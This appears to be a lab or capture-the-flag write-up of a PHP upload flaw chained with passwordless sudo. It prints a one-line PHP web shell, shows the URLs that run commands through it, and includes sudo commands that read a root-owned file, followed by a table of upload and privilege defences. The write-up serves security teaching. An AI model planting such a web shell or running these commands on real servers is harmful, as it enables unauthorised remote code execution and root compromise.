Vulnerability Overview
A profile image upload endpoint performed no file type validation, allowing upload and execution of arbitrary PHP code. Combined with a catastrophically misconfigured sudo policy that granted the web server process unrestricted root access, the attack chain escalated from file upload to full system compromise.
Reconnaissance
Initial exploration confirmed the upload endpoint accepted any file type — a plain .txt file was accepted without restriction. The URL path /upload.php revealed a PHP backend, which is significant: PHP files uploaded to a web-accessible directory can be executed directly by the server.
Web Shell Deployment
A minimal PHP web shell was crafted and uploaded as shell.php:
<?php system($_GET['cmd']); ?>The server accepted the upload and confirmed the file path: uploads/shell.php. Accessing the file directly and passing a command via the cmd parameter confirmed Remote Code Execution:
http://[target]/uploads/shell.php?cmd=lsPrivilege Escalation
Checking the current user's sudo permissions revealed a critical misconfiguration:
http://[target]/uploads/shell.php?cmd=sudo+-l
User www-data may run the following commands:
(ALL) NOPASSWD: ALLThe web server process www-data had unrestricted passwordless sudo access — meaning any command executed through the web shell ran with effective root privileges. Reading the flag required a single command:
http://[target]/uploads/shell.php?cmd=sudo+cat+/root/flag.txtRoot Cause
Two independent failures created a complete attack chain. The upload endpoint validated neither file extension nor MIME type, allowing executable PHP to reach a web-accessible directory. The sudo misconfiguration then eliminated any privilege boundary between the web process and the underlying system.
| Defense Layer | Implementation | Effect |
|---|---|---|
| Extension whitelist | Accept only .jpg, .png, .gif, .webp | Blocks PHP upload at the entry point |
| MIME type validation | Validate Content-Type and file magic bytes server-side | Catches extension spoofing |
| File renaming | Rename all uploads to a random UUID with a safe extension | Uploaded PHP becomes a3f9b2.jpg — unreachable even if uploaded |
| Least privilege | www-data must have no sudo rights whatsoever | Limits blast radius of any web shell to the web process context |
sudo -l is one of the first checks in any post-exploitation enumeration; a web server process with NOPASSWD: ALL is a complete system compromise waiting to happen.